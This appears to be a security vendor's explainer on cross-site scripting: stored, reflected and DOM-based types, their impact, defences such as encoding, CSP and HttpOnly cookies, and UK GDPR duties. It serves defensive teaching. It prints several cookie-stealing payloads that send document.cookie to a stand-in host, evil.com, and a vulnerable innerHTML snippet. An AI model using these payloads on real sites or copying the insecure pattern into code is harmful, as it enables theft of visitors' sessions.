QUICK ANSWER
Cross-site scripting (XSS) is a vulnerability that lets attackers inject malicious JavaScript into your web pages. When a visitor loads the compromised page, the script runs in their browser and can steal session cookies, redirect them to phishing sites, or perform actions on their behalf. XSS is one of the most common web vulnerabilities and affects sites of all sizes.
Cross-site scripting, almost always abbreviated to XSS, is consistently ranked among the most prevalent web application vulnerabilities. The name "cross-site" comes from the fact that the attack involves injecting a script from one source (the attacker) into a page belonging to another site (yours). When a visitor's browser loads the page, it executes the injected script because, as far as the browser is concerned, the script came from your trusted domain.
XSS is dangerous because it exploits the trust a browser has in your website. Your visitor's browser enforces the same-origin policy, which prevents scripts on other sites from accessing data on your site. But when a malicious script is injected into your own pages, the same-origin policy does not protect against it because the script appears to come from your domain.
Stored XSS is the most damaging type. The attacker manages to save a malicious script permanently on your server, typically by submitting it through a form that your website then displays to other users without proper sanitisation.
Common vectors:
Example: An attacker posts a comment containing:
<script>fetch('https://evil.com/steal?c='+document.cookie)</script>
If your website displays this comment without encoding the HTML, every visitor who loads the page will execute the script. Their session cookies are silently sent to the attacker's server.
Stored XSS is particularly dangerous because it affects every visitor who views the compromised content. A single injection can compromise hundreds or thousands of users.
Reflected XSS does not store the script on your server. Instead, the malicious script is embedded in a URL, and your website reflects it back in the response without sanitising it. The attacker sends the crafted URL to a victim (via email, social media, or a malicious link), and the script executes when the victim clicks it.
Example: Your website has a search page that displays the search term in the results:
https://yoursite.com/search?q=<script>alert(document.cookie)</script>
If the search page includes the q parameter in the HTML without encoding it, the script executes. The attacker would URL-encode the payload and send it in a phishing email:
https://yoursite.com/search?q=%3Cscript%3Efetch(%27https://evil.com/steal%3Fc%3D%27%2Bdocument.cookie)%3C%2Fscript%3E
Reflected XSS requires the victim to click a specific link, making it harder to exploit at scale than stored XSS. However, it is also more common because many websites reflect user input in error messages, search results, and confirmation pages without proper encoding.
DOM-based XSS happens entirely in the browser. The vulnerability exists in the client-side JavaScript on your page, not in the server's response. The malicious payload is processed by your own JavaScript code, which writes it into the page without sanitisation.
Example: Your page contains JavaScript that reads a URL fragment and writes it into the page:
document.getElementById('output').innerHTML = location.hash.substring(1);
An attacker crafts a URL like:
https://yoursite.com/page#<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">
The server never sees the payload (everything after # is not sent to the server). The vulnerability is entirely in the browser. This makes DOM-based XSS harder to detect because server-side security tools cannot see it.
The injected JavaScript runs with the same permissions as any script on your page. This gives the attacker significant power:
If session cookies are not marked as HttpOnly, JavaScript can read them via document.cookie. The attacker sends the cookies to their server and uses them to impersonate the victim. This is the most common XSS exploit because it works immediately and gives the attacker full access to the victim's account.
An injected script can attach event listeners to keyboard events and send every keystroke to the attacker. This captures passwords, credit card numbers, and other sensitive data as the victim types them.
The script can modify the page content to display a fake login form that sends credentials to the attacker. Because the form appears on your legitimate domain, the victim has no reason to suspect it.
A single line of JavaScript can redirect the visitor to a phishing page or a malware download: window.location = 'https://evil-site.com'. The visitor leaves your site without realising it.
An attacker can inject a cryptocurrency mining script that uses the visitor's CPU to mine coins. The visitor experiences a slow, unresponsive browser with no visible indication of why.
If the victim is logged in, the script can make AJAX requests to your server using the victim's session. It can change their password, update their email address, make purchases, or delete data. The victim never sees these requests happen.
The most important defence is to encode user-supplied data before including it in HTML. Encoding converts special characters like < and > into their HTML entity equivalents (< and >), so the browser treats them as text rather than HTML tags.
Use your framework's built-in encoding. Most modern frameworks (React, Vue, Angular) encode output by default. If you are using plain PHP, use htmlspecialchars(). In Python, use html.escape().
Validate and sanitise all user input on the server side. Reject input that contains unexpected characters. For example, a name field should not accept angle brackets or script tags. However, input validation alone is not sufficient because valid input in one context (a comment containing "<") may be dangerous in another.
CSP is a powerful defence-in-depth measure. A strict CSP that disallows inline scripts prevents most XSS attacks from executing, even if the injection succeeds. Read more about this in our guide to HTTP security headers.
Example CSP that blocks inline scripts:
Content-Security-Policy: default-src 'self'; script-src 'self'
Mark all session cookies as HttpOnly. This prevents JavaScript (including injected scripts) from reading them. It does not prevent the XSS attack itself, but it stops the most common exploit: cookie theft.
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict
The simplest test is to enter a benign payload into any input field on your website:
<script>alert('XSS test')</script>
If an alert box appears, you have an XSS vulnerability. This only tests for the most basic cases. Automated scanners test hundreds of variations, including encoded payloads, different HTML contexts (attributes, JavaScript, CSS), and bypass techniques.
PulseShield's free security scan tests for XSS vulnerabilities along with other common web security issues.
Under the UK GDPR, a personal data breach caused by XSS (such as session hijacking leading to account access) must be reported to the Information Commissioner's Office (ICO) within 72 hours if it poses a risk to individuals' rights and freedoms. The ICO can issue fines of up to 17.5 million pounds or 4% of annual global turnover for failures to protect personal data.
XSS is not just a technical problem. It is a compliance risk. If your website processes personal data (login details, account information, payment data) and an XSS vulnerability leads to a breach, you may need to demonstrate that you took reasonable steps to prevent it. Regular vulnerability testing and prompt patching are evidence of due diligence.
XSS is not theoretical. Major platforms have been affected:
The common thread in these incidents: injected JavaScript running on a trusted domain, invisible to the victim, harvesting data in real time.
Run a free scan to identify security weaknesses including XSS, open ports, missing headers, and more.
Free Security Scan